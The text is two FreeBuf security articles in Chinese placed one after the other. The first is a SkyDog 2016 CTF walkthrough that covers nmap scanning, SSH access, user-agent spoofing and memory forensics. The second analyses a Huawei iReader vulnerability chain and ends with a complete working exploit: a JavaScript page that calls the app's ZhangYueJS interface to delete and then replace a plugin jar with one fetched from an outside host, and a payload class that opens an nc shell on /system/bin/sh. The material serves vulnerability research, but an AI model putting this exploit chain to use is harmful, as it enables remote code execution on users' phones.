访问文件,发现第一个flag,是十六进制编码:

666c61677b37633031333230373061306566373164353432363633653964633166356465657d

image.png

现在我使用以下xxd命令将十六进制转换为文本。

echo 666c61677b37633031333230373061306566373164353432363633653964633166356465657d | xxd -r -p

image.png

现在拿到了第一个flag:

flag{7c0132070a0ef71d542663e9dc1f5dee}

flag用md5解密:

image.png

所给的线索是nmap,用nmap 对所有65535端口进行更完整的扫描, 确定服务器正在端口22222上运行SSH服务器,这一定是进入服务器的方式

image.png

通过ssh连接,拿到了第二个flag:Flag{53c82eba31f6d416f331de9162ebe997}

image.png

md5解密flag,解密后的线索是:encrypt

image.png

线索是“加密”。到目前为止,截获流量和加密的唯一方法就是用于默认站点的SSL,所以仔细看看SSL证书和BOOM

image.png

拿到第三个flag:flag3{f82366a9ddc064585d54e3f78bde3221}

解密后的线索: personnel

image.png

发现personnel是一个目录,结合flag信息,又看了看之前找到的http://192.168.128.138/oldIE/html5.js

发现如下信息

image.png

image.png

用burp挂上代理,修改如下地方, 修改User-Agent,使用IE4访问:

image.png

image.png

现在我用IE4用户代理刷新页面,我们找到了Agent Hanratty的FBI门户网站

浏览器css做了过滤,但是不影响找到flag,第四个flag:

flag{14e10d570047667f904261e6d08f520f}

image.png

在门户网站的底部,我们发现我们的第四个flag{14e10d570047667f904261e6d08f520f}和一个新线索“Clue = new +flag”。

解密后线索是: evidence

image.png

通过我们刚刚从Flag4得到的信息,猜测/ newevidence是否是一个目录。确实是,但需要用户名/密码,而且要使用IE4用户代理登录

image.png

用户名,密码怎么办,我在上一个页面用cewl生成了一个字典,用hydra口令没跑出来

然后又去搜了电影相关的信息,找了好多信息终于找到正确口令: carl.hanratty/ Grace

登录任然需要代理采用IE4浏览器

image.png

image.png

image.png

找到了第五个flag:

flag{117c240d49f54096413dd64280399ea9}

解密后的线索是: panam

image.png

访问 两个文件image.jpg和Invoice.pdf

image.png

把图片下载下来,打开图片发现第六个flag

flag{d1e5146b171928731385eb7ea38c37b8}

解密后的线索是: ILoveFrance

image.png

这是一个很奇怪的线索,为什么弗兰克大喊“iheartbrenda”? 我搜了这句话,这句话来自超级英雄barry.allen,又名Flash。

于是我做了一堆“barry.allen”和“flash”的不同组合,现在使用我发现的口令的唯一地方就是SSH,所以我尝试使用密码“iheartbrenda”和“barry.allen”,登录失败,于是 我尝试使用“barryallen”和“iheartbrenda”作为口令,登陆成功了

image.png

成功拿到flag,flag{bd2f6a1d5242c962a05619c56fa47ba6}

并且有一个名为“security-system.data”的非常大的文件。

解密flag的线索: theflash

image.png

现在我可以通过SSH访问Barry Allen帐户,我开始仔细查看主目录中的security-system.data文件。

在kali执行如下命令,将文件下载下来

scp -P 22222 [email protected]:/home/barryallen/security-system.data ~/

image.png

我将文件下载到Kali,查看它是什么类型的文件。该文件命令显示它是一个zip文件,所以我运行如下命令

image.png

security-system.data显示是一些exe数据,在文件上运行字符串我看到很多提及内存的内容,所以我想它可能是一台机器的内存映像。下一步是使用 volatility来查看文件

image.png

确实出现了一些有趣的信息,我继续使用volatility进一步挖掘。

image.png

在桌面上看到一个名为code.txt的文件,它是对我们线索的直接引用,下一步是我想看看是否有任何内容输入到控制台中

image.png

可以看到code.txt是通过在文件中回显hex来在桌面上创建的,解码这个十六进制数据,再次运行xxd命令

echo 66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d | xxd -r -p

image.png

最后一个flag:flag{841dd3db29b0fbbd89c7b5be768cdc81}

解密: Twolittlemice

0×04 总结

渗透思路很常规,靶机整体难度也不大,只是其中有几个坑点,非常适合新手学习。

这个靶机有两个难点,一个是在访问的时候必须要用IE4浏览器,最方便的办法就是在burp中修改,第二个是拿到security-system.data这个数据包不知道该怎么找到flag,不得不说volatility这个工具真的太强大,成功帮我找到了最后的flag。

参考资料:

https://www.vulnhub.com/entry/skydog-2016-catch-me-if-you-can,166/

https://www.jamesbower.com/skydog-con-2016-ctf/

https://www.mrb3n.com/?p=404

* 本文作者:小鸟,转载请注明来自FreeBuf.COM

*本文原创作者:Tasfa,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×01 前言

这部分漏洞分析属于之前MWR InfoSecurity的研究员报告中的第三部分,同样该报告仅有漏洞的简单描述,具体的PoC也未详细给出。

因此本文的目的依旧是去探索漏洞挖掘的思路,以下不代表漏洞作者思路,欢迎更好的想法,欢迎讨论。

ps: 附上2017 pwn2own mobile视频

0×02 漏洞原理分析

同样的挖掘思路,依旧是从AndroidManifest.xml入手,寻找暴露的组件,并进行代码静态分析。

 <activity android:configChanges="keyboardHidden|layoutDirection|navigation|orientation|screenLayout|screenSize|smallestScreenSize" android:exported="true" android:label=" " android:name="com.zhangyue.iReader.online.ui.ActivityWeb" android:screenOrientation="portrait">
            <intent-filter>
                <data android:host="com.huawei.hwireader" android:scheme="hwireader" />
                <action android:name="com.huawei.hwireader.GLOBAL_SEARCH_CLICKED" />
                <category android:name="android.intent.category.DEFAULT" />
                <category android:name="android.intent.category.BROWSABLE" />
            </intent-filter>
        </activity>

切入com.zhangyue.iReader.online.ui.ActivityWebonCreate函数

  protected void onCreate(Bundle arg8) {
        ...

        this.mCoverViewManager = new OnlineCoverViewManager(((Context)this), this.k);
        this.mCoverViewManager.setOnlineActivityOperation(((IOnlineActivityOperation)this));
        this.mOnlineCoverView = this.mCoverViewManager.loadUrlOnNewCoverView("", true, this.getWebViewType());
        this.mProgressWebView = this.mOnlineCoverView.getProgressWebView();
        this.mWebView = this.mProgressWebView.getWebView();//获取webView实例类

        ...

        boolean v0_1 = v2 == null || !v2.containsKey("isload") ? true : v2.getBoolean("isload");
        String url = "";
        if(v2 != null && (v2.containsKey("url"))) {
            url = v2.getString("url"); //获取url参数的值
        }

        ...

        else if(!(this instanceof ActivityWeb)) {
            if(url != null && !url.equals("")) {
                this.c(url); // 加载url,最终调用loadRefreshUrl(String)函数
                goto label_117;
            }

            this.loadNaviURL(this.c);
            goto label_117;
        }
    }


/**
* 加载url,由参数uri控制
**/
protected void loadRefreshUrl(String arg2) {
        this.g = arg2;
        ActivityOnline.mNeedClearHistory = true;
        if(this.mWebView != null) {
            this.mWebView.resetEmptySkip();
            this.mWebView.loadUrl(arg2);  // 加载uri
        }
    }

分析onCreate函数代码来看(这里简化了大量代码,使得阅读更加容易),这里主要是调用webView的loadUrl函数,那么我们自然需要找到webView的实例类,再切入分析.

public CustomWebView getWebView() {
        return this.mWebView;
    }

调用getWebView()函数返回CustomWebView类,因为这里仅仅是返回一个已初始化的类,因此,我们需要找到初始化该类的地方,即调用该类的构造函数。

完整的调用是this.mProgressWebView.getWebView(),自然我们需要切入mProgressWebView去寻找。我们直接查看引用,即可查找到webview初始化的地方

protected void initWidgets(WebViewType arg5) {
        ...
        this.mWebView = WebViewFactory.createWebView(arg5, this.mContext); 创建webview
        this.mWebView.setmIsLoadUrlInNewPage(this.i);
        ...
        this.mWebView.setLoadUrlProcesser(((ILoadUrlProcesser)this));
    }

查看该函数的引用链(jeb直接用x快捷键查找即可)

public ProgressWebView(Context arg3) {
       ...
       this.init(WebViewType.COMMON_TYPE);
    }


    public void init(WebViewType arg4) {
        this.initWidgets(arg4); //这里调用创建了webView       
        ...
        this.mWebView.init(((OnWebViewEventListener)this));
    }


    public void init(OnWebViewEventListener arg2) {
        ...
        this.initJavaScript(); //关键点
        ...
    }

    protected void initJavaScript() {      
        ...
        this.mJavascriptAction = new JavascriptAction(((AbsDownloadWebView)this));
        WebSettings webSettings = this.getSettings();
        webSettings.setJavaScriptEnabled(true); // 允许执行JS代码
        ...
        this.addJavascriptInterface(this.mJavascriptAction, "ZhangYueJS");// JS接口
    }

小结一下:

这里的思路是通过loadUrl最终跟踪webView实例类CustomWebView的初始化过程,从而发现initJavaScript函数中可以被调用的接口。

但是,我觉得在审计中的思路这样可能比较死板,是不是在这里,直接审计CustomWebView类中的代码,寻找是否有javascript之类的关键词,再回溯去追寻,可能会更快发现。当然如果类代码过多的话,可能有点行不通,我自己在复现的时候,就是通过这种思路,直接找关键词再回溯。

接下来的思路自然是切入类JavascriptAction进行代码分析。

任意文件下载/文件目录遍历

快速浏览遍历@JavascriptInterface注解的方法,其中do_command(String cmd)自然引起注意。

@JavascriptInterface public void do_command(String cmd) {
    BookHighLight bookHignLight;
    String url;
    Activity mActivity;
    Context mContext;
    Activity currActivity;
    LOG.E("dalongTest", "---------------------------do_command--------------------------");
    if(this.mAbsDowloadWebView == null || !(this.mAbsDowloadWebView.getContext() instanceof Activity)) {
        currActivity = APP.getCurrActivity();
    }
    else {
        Context context_2 = this.mAbsDowloadWebView.getContext();
    }

    if((((Context)currActivity)) == null || currActivity.getParent() == null) {
        mContext = ((Context)currActivity);
    }
    else {
        mActivity = currActivity.getParent();
    }

    try {
        Object obj = new JSONTokener(cmd).nextValue();  // 命令内容参数
        String action = ((JSONObject)obj).getString("Action");  // 获取执行命令动作
        LOG.I("js", "actionName:" + action);            
        ...
        JSONObject data = ((JSONObject)obj).getJSONObject("Data");  // 获取命令内容
        ...
        if(action.equalsIgnoreCase("download")) {
            JSProtocol.mJSBookProtocol.download(data, false, false); //下载漏洞疑点
            return;
        }

         ...

        if(action.equalsIgnoreCase("chapPackDownload")) {
                JSProtocol.mJSBookProtocol.onChapPack(data);//删除漏洞疑点
                return;
        }


        if(action.equalsIgnoreCase("onlineReader")) {
            JSProtocol.mJSBookProtocol.online(data); //下载漏洞疑点
            return;
        }

        if(action.equalsIgnoreCase("readNow")) {
            JSProtocol.mJSBookProtocol.readNow(data);
            return;
        }

        ...
    }
    catch(Exception v2_2) {
        LOG.E("js", "do_command error");
    }
}

由于此方法中可执行的命令是非常多的,因此要进行代码审计,这里我认为的一个方式应该是在熟悉Android的一些漏洞,如任意文件下载/替换、任意目录遍历等等的漏洞原理,接着在审计代码的时候,可以快速地切入到可能存在漏洞点的代码进行分析。

这里的调用链路是online()–>download()–>originalDownload()

public void originalDownload(JSONObject jsonObj, boolean isCarToonParam2, boolean flag_2) {
    downloadInfo = jsonObj.getJSONObject("DownloadInfo");
    ...
    FrmAuth = downloadInfo.optBoolean("getDrmAuth", true);
    fileName = PATH.getBookDir() + downloadInfo.getString("FileName");  // 直接获取json传过来的数据
    fileId = downloadInfo.getInt("FileId");
    dowloadUrl = downloadInfo.getString("DownloadUrl");  // 可控制的下载地址
     ...
    if(isCarToonParam2) {  // 这里必须为true,否则fileName会被覆盖掉
    d v3_2 = DBAdapter.getInstance().queryBookID(fileId);
    if(v3_2 != null) {
        int[] v1_3 = CartoonTool.getReadPaint(v3_2.j);
        CartoonTool.openCartoon(fileId, v1_3[0], v1_3[1]);
        return;
        }
    }
    else {
        fileName = charging.optString("FeeType");//进入该分支,filename被覆盖
        genreId = downloadInfo.optInt("FeeUnit");
        if(!fileName.equals("0") && genreId == 10) {
            CartoonHelper.setWholeBookPayed(true);
        }
    }
}

可以看到,第二个参数传进来必须为True,才能避免fileName被覆盖,这也是为什么利用online函数而不利用download函数的原因.当然,我们在代码审计的时候肯定是先切入到download函数,分析完后再去寻找是否有符合利用条件的调用接口,很幸运地是,这里的online函数调用的第二个参数即为True.

任意文件删除

在JavaActionScript类中,还有Action为chapPackDownload存在漏洞。

public boolean onChapPack(JSONObject jsonObj) {
    boolean v0_2;
    try {
        int v3 = jsonObj.getInt("StartIndex");
        int v4 = jsonObj.getInt("EndIndex");
        String v2 = jsonObj.getString("Price");
        int v1 = jsonObj.getInt("BookId");
        String v5 = jsonObj.getString("PayURL");
        String v0_1 = jsonObj.getString("DownloadURL");
        String fileName = PATH.getBookDir() + jsonObj.getString("FileName");
        if((FILE.isExist(PATH.getBookNameCheckOpenFail(fileName))) && Device.getNetType() != -1) {
            FILE.delete(PATH.getBookCachePathNamePostfix(fileName));
            FILE.delete(fileName);//没有进行名字校验,直接进行删除
        }

        x.i().a(v1, v2, v3, v4, v5, ManagerFileInternal.getInstance().appendInternalBookParam(v0_1, v1), fileName);
        v0_2 = true;
    }
    catch(Exception v0) {
        v0.printStackTrace();
        v0_2 = false;
    }

    return v0_2;
}

分析上面的代码可知,实际上FileName我们可以控制,只要满足PATH.getBookNameCheckOpenFail(fileName)该函数路径存在即可。

public static String getBookNameCheckOpenFail(String arg2) {
        return PATH.getOpenFailDir() + MD5.getMD5(arg2);
        // /sdcard/HWiReader/books/.openfail/md5
        // /sdcard/Android/data/Huawei/HwReader/books/.openfail/md5
    }
public static String getOpenFailDir() {
        return PATH.getWorkDir() + "/books/.openfail/";
    }
public static String getWorkDir() {
        return SDCARD.getStorageDir() + PATH.HW_ROOT_DIR;
        /*
        PATH.PRI_HW_ROOT_DIR = "HWiReader";
        PATH.HW_ROOT_DIR_ABOVE_EMUI6_0 = "Android/data/Huawei/HwReader";
        PATH.HW_ROOT_DIR = PATH.PRI_HW_ROOT_DIR;
        if(Utils.getEMUISDKINT() >= 14) {
            PATH.HW_ROOT_DIR = PATH.HW_ROOT_DIR_ABOVE_EMUI6_0;
        }
        */
    }
public static String getStorageDir() {
        return SDCARD.a();
    }
private static String a() {
        String v0 = "";
        if(!TextUtils.isEmpty(SDCARD.b)) {
            v0 = SDCARD.b;
        }
        else if(SDCARD.hasSdcard()) {
            v0 = Environment.getExternalStorageDirectory().toString();
            SDCARD.b = v0;
        }

        return v0 + "/";
    }

根据以上代码,也即是存在路径/sdcard/HWiReader/books/.openfail/md5(fileName)即可实现删除任意文件。

不安全组件加载

寻找不安全的组件加载漏洞,挖掘思路自然是需要分析应用的目录结构,我们通过查看sdcard和data/沙盒中有关iReader应用的目录,查看是否有加载so/dex/jar等等需要动态加载的组件。

经过分析,我们找到/sdcard/HWiReader/plugins/DFService/classes.jar,接下来自然是全局搜索相关字符串关键词,定位到加载该组件的地方。最终定位为:com.zhangyue.iReader.tools.Util

//bk.p
 protected final ArrayList P() {
    ...
    Object v2 = Util.loadPlug(APP.getAppContext(), v3.getPlugDir("DFService") + "classes.jar", "com.zhangyue.iReader.Plug.Service.DocFeature").newInstance();
    ...        
}

//com.zhangyue.iReader.tools.Util
 public static Class loadPlug(Context arg4, String arg5, String arg6) throws Exception {
     return new DexClassLoader(arg5, arg4.getApplicationInfo().dataDir, null, arg4.getClassLoader()).loadClass(arg6);
}

接下来需要解决两个问题:

  1. 加载classes.jar,并且初始化的类怎么去构造?

    这个只需查看loadClass(arg6),传进来的参数是什么即可。很显然,这里为com.zhangyue.iReader.Plug.Service.DocFeature

  2. 怎么让iReader App去加载这个jar文件?

    这一步骤只需往前追溯调用链即可寻找到触发点。 最终的触发点为:下载txt文件。

0×03 漏洞利用

前面两部分的漏洞利用分析

第三阶段的漏洞利用exploit代码如下:

<!DOCTYPE html>
<html>
<head>
    <title> exploit iReader stage 3 </title>
</head>
<body>
    <script type="text/javascript">

        // 首先构造任意文件删除攻击连
        function create_hash()
        {
           var  HASH_FILE_ID = '123456';
           var  HASH_URI = 'http://www.tasfa.cn/classes.jar';
           var json ='{"Action":"onlineReader","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137.1:8001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1","FileId":"'+ HASH_FILE_ID +'","FileName":".openfail/5457bea93d0548a4d84357308df45322","FileSize":10000000,"Ebk3DownloadUrl":"' + HASH_URI + '","DownloadUrl":"' + HASH_URI + '","Version":"2"}}}';
           window.ZhangYueJS.do_command(json);
        }

        function delete_file()
        {
           var json = '{"Action":"chapPackDownload","Data":{ "StartIndex": 0, "EndIndex" : 0,"Price" : "0", "BookId" : 0, "PayURL" : 0, "DownloadURL" : "aaa", "FileName" :"../plugins/DFService/classes.jar" } }';
           window.ZhangYueJS.do_command(json);
           download_plugin();

        }

        //下载不安全加载组件classes.jar
        function download_plugin()
        {
             var PLUGIN_URI = "http://www.tasfa.cn/classes.jar";
             var PLUGIN_FILE_ID = '123456';
            var json ='{"Action":"onlineReader","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137.1:8001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1","FileId":"' + PLUGIN_FILE_ID + '","FileName":"../plugins/DFService/classes.jar","FileSize":10000000,"Ebk3DownloadUrl":"' + PLUGIN_URI + '","DownloadUrl":"' + PLUGIN_URI + '","Version":"2"}}}';
            window.ZhangYueJS.do_command(json);
        }

        var TEXT_FILE_ID = "334455";
        var TEXT_FILE_NAME = "../plugins/DFService/test.txt";
        var TEXT_URI = "http://www.tasfa.cn/test.txt";

        //触发组件进行加载
        function download_text()
        {
            var json = '{"Action":"readNow","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137 .1:8001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1" ,"FileId":"' + TEXT_FILE_ID + '","FileName":"' + TEXT_FILE_NAME + '","FileSize":10000000,"Ebk3DownloadUrl":"' + TEXT_URI + '","DownloadUrl":"' + TEXT_URI + '","Version":"2"}}}';
            window.ZhangYueJS.do_command(json);
            setTimeout(trigger_plugin_load,5000);

        }

        //触发payload执行
        function trigger_plugin_load()
        {
            var json = '{"Action":"readNow","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137 .1:8001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1" ,"FileId":"' + TEXT_FILE_ID + '","FileName":"' + TEXT_FILE_NAME + '","FileSize":10000000,"Ebk3DownloadUrl":"' + TEXT_URI + '","DownloadUrl":"' + TEXT_URI + '","Version":"2"}}}';
            window.ZhangYueJS.do_command(json); 
        }

        function exploit() {
            create_hash();
            delete_file();
            setTimeout(download_text,15000);
        }

        exploit();
    </script>

</body>
</html>

这里要注意两个点:

  1. setTimeout所延迟的时间必须是根据自己VPS连接速度来设定。
  2. 里面有两个FILE_ID,必须保证对应相等。

classes.jar构造Payload如下:

package com.zhangyue.iReader.Plug.Service;

import android.util.Log;
import java.io.IOException;

public class DocFeature extends Thread{
    public DocFeature() {
        run();
        Log.e("ATTACKER","RUNNING ARBITRARY CODE!");
    }

    @Override
    public void run() {
        String command = "nc -l -p 28888 -e /system/bin/sh";//执行nc命令
        Runtime runtime = Runtime.getRuntime();
        try {
            runtime.exec(command);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Build后,在Android Studio工程下,找到/app/build/intermediates/classes/debug目录,然后执行以下命令生成jar.

dx --dex --output=/Downloads/classes.jar com/zhangyue/iReader/Plug/Service/DocFeature.class

这里有小坑:

  1. 代码中由于classpath的原因,因此无法在代码中直接使用new Thread去创建线程。
  2. 执行dx命令时,必须是在完整的结构目录路径下。
  3. nc命令需要下载busyBox.

漏洞利用效果

备注: 完整的利用视频时间较长,因此剪辑掉等待的部分。

本系列最后一篇分析,撒花。

0×04 总结

  1. 诱导用户访问恶意网站(exploit.html)
  2. 使用DNS劫持或其他方式,绕过internal_webview的域名白名单限制,使其加载恶意页面(exploit2.html)
  3. 从而调用起iReader的ActivityWeb,使其加载恶意攻击页面(exploit3.html)
  4. exploit3.html首先删除可被控制的classes.jar(任意删除文件漏洞)
  5. 接着下载恶意的classes.jar(任意下载文件漏洞)
  6. 然后使用下载txt文件的方式触发App加载classes.jar(不安全组件加载)
  7. 最终触发payload执行,攻击者获取权限.

0×05 参考

Android插件化开发之DexClassLoader动态加载dex、jar小Demo

*本文原创作者:Tasfa,本文属FreeBuf原创奖励计划,未经许可禁止转载